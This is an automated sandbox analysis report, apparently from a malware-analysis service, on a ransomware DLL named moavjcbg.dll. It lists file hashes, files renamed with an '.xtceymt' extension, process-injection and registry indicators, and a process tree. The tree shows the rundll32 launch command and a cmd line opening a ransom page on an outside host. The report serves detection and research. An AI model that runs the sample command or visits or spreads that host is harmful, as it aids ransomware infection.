9146be1fc85a94880644670cbf63545efb6db43516d79f42a8792342f684a5ca

General

Target

moavjcbg.dll
Size

87KB
MD5

fee171fbd4ec2ef64bd04567a80df805
SHA1

2db3c49ec6151c1a3c98a7b92006629741b403b5
SHA256

9146be1fc85a94880644670cbf63545efb6db43516d79f42a8792342f684a5ca
SHA512

c66a675706a5c06202366ad6ef2a64bb82d033037447bd212ef479694d26ce040874a65a48f6f9af04af87a5bf1c45696fc2806e5095dac91d3d3b189401712c

Score

8^/10

ransomware

Malware Config

Signatures

Modifies extensions of user files 7 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

rundll32.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\ClearGet.tiff => C:\Users\Admin\Pictures\ClearGet.tiff.xtceymt	rundll32.exe
File renamed	C:\Users\Admin\Pictures\ConvertToReceive.png => C:\Users\Admin\Pictures\ConvertToReceive.png.xtceymt	rundll32.exe
File renamed	C:\Users\Admin\Pictures\DisableWait.tif => C:\Users\Admin\Pictures\DisableWait.tif.xtceymt	rundll32.exe
File renamed	C:\Users\Admin\Pictures\ShowSwitch.raw => C:\Users\Admin\Pictures\ShowSwitch.raw.xtceymt	rundll32.exe
File renamed	C:\Users\Admin\Pictures\UseMove.raw => C:\Users\Admin\Pictures\UseMove.raw.xtceymt	rundll32.exe
File renamed	C:\Users\Admin\Pictures\BackupExport.tif => C:\Users\Admin\Pictures\BackupExport.tif.xtceymt	rundll32.exe
File opened for modification	C:\Users\Admin\Pictures\ClearGet.tiff	rundll32.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

rundll32.exe

description	pid	process
PID 1748 set thread context of 0	1748	rundll32.exe
PID 1748 set thread context of 0	1748	rundll32.exe
PID 1748 set thread context of 0	1748	rundll32.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1688 1748 WerFault.exe rundll32.exe

pid	pid_target	process	target process
1688	1748	WerFault.exe	rundll32.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000850f07ecb424934d8f5a48a59e73cec00000000002000000000010660000000100002000000083477ece1959d51ee1bb7d7211a80a6c673951d08c26ab505daae03dc582044a000000000e80000000020000200000005da968d0aad832c954a069908302ecaa6a2128bd8226b4aa387fac47daa7212590000000f659b4c7c6b9de231f44ac5682d27d51ff74cf0ce025690d8ba610ff50c4a8df4b01d566cccd7394e4cfc2f9a15e19f552ab601c42095d249d79550342d5bcf45f0f32cda35b8aa96bc4d8cb933a68164c8914c876cdba10a7640e62abc1767ba88e2abd517361da40acb247b63f9c3135fcc5fa3dd366e70fdf13e492d2fc4fc41f5ba9092f4294d8f95b786672f75940000000e628e974678ec7a7b7bc128c3c8808c1803d2c3ab9177f5b860e62beb9da499ded72eed5749a64c1c1c7174251ee90b8f874e9f22656005ad7bba92b993f2f2d	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "359814106"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000850f07ecb424934d8f5a48a59e73cec000000000020000000000106600000001000020000000ec39fac1a862844fea1bceeb27e0cd5ec6a65a5d54b7c4ba031f6bff3b305147000000000e80000000020000200000001c79cff6ab69dcaf55f08c1b3eded1baa6e189fdea35232281897b910ed1798020000000481b0379cd764485ee17c11057cced090b8ab58e887d96d48bfa4aa3d27340574000000064480466434d0a3a0e2f423787e1f34a199998add3f5b6b7b73f88417e67be626189802916892f01b403b53d3f0485b452f680ee4737cf3e0f8f38971aa509b9	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 306d15dc436cd801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{02323341-D837-11EC-838E-726C518001C0} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exe

pid process

1748 rundll32.exe
1748 rundll32.exe
Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

rundll32.exe

pid process

1748 rundll32.exe
1748 rundll32.exe
1748 rundll32.exe

pid	process
1748	rundll32.exe
1748	rundll32.exe

pid	process
1748	rundll32.exe
1748	rundll32.exe
1748	rundll32.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

description	pid	process
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264
Token: SeShutdownPrivilege	1264

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

iexplore.exe

pid process

1752 iexplore.exe
1264
1264
Suspicious use of SendNotifyMessage 3 IoCs

Processes:

pid process

1264
1264
1264
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

1752 iexplore.exe
1752 iexplore.exe
1288 IEXPLORE.EXE
1288 IEXPLORE.EXE
1288 IEXPLORE.EXE
1288 IEXPLORE.EXE
Suspicious use of UnmapMainImage 1 IoCs

Processes:

pid process

1264

pid	process
1752	iexplore.exe
1264
1264

pid	process
1264
1264
1264

pid	process
1752	iexplore.exe
1752	iexplore.exe
1288	IEXPLORE.EXE
1288	IEXPLORE.EXE
1288	IEXPLORE.EXE
1288	IEXPLORE.EXE

pid	process
1264

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

rundll32.execmd.exeiexplore.exe

description	pid	process	target process
PID 1748 wrote to memory of 1680	1748	rundll32.exe	cmd.exe
PID 1748 wrote to memory of 1680	1748	rundll32.exe	cmd.exe
PID 1748 wrote to memory of 1680	1748	rundll32.exe	cmd.exe
PID 1748 wrote to memory of 1688	1748	rundll32.exe	WerFault.exe
PID 1748 wrote to memory of 1688	1748	rundll32.exe	WerFault.exe
PID 1748 wrote to memory of 1688	1748	rundll32.exe	WerFault.exe
PID 1680 wrote to memory of 1752	1680	cmd.exe	iexplore.exe
PID 1680 wrote to memory of 1752	1680	cmd.exe	iexplore.exe
PID 1680 wrote to memory of 1752	1680	cmd.exe	iexplore.exe
PID 1752 wrote to memory of 1288	1752	iexplore.exe	IEXPLORE.EXE
PID 1752 wrote to memory of 1288	1752	iexplore.exe	IEXPLORE.EXE
PID 1752 wrote to memory of 1288	1752	iexplore.exe	IEXPLORE.EXE
PID 1752 wrote to memory of 1288	1752	iexplore.exe	IEXPLORE.EXE

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\moavjcbg.dll,#1
1⤵
- Modifies extensions of user files
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1748

C:\Windows\system32\cmd.exe
cmd /c "start http://fed89e002extceymt.rowarea.info/xtceymt^&1^&40102110^&73^&421^&12
2⤵
- Suspicious use of WriteProcessMemory
PID:1680

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://fed89e002extceymt.rowarea.info/xtceymt&1&40102110&73&421&12
3⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1752

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1752 CREDAT:275457 /prefetch:2
4⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1288

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1748 -s 756
2⤵
- Program crash
PID:1688

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\77JOA5QZ.txt
Filesize
604B

MD5
6abedc5d9979e5bd23a83d9fb20823c1

SHA1
cc28e0216590dfca0b21a14c020a99b5bacb0840

SHA256
b37f854334acf8f57a582ebc125ef1c2f99bca2da15f320fad0133cf3d840ee1

SHA512
befaa6e22bec97d56489814b29496b921a466f046cf3de654bb261548ed20c2b262ba4ea6140aef46cd34dbc83fdc5dbd0df2225a584373e48cfa393f4b6bdb9

Download Submit
memory/1680-55-0x0000000000000000-mapping.dmp

Download
memory/1680-57-0x000007FEFC021000-0x000007FEFC023000-memory.dmp

Filesize
8KB

Download
memory/1688-56-0x0000000000000000-mapping.dmp

Download
memory/1748-54-0x0000000000180000-0x000000000018B000-memory.dmp

Filesize
44KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads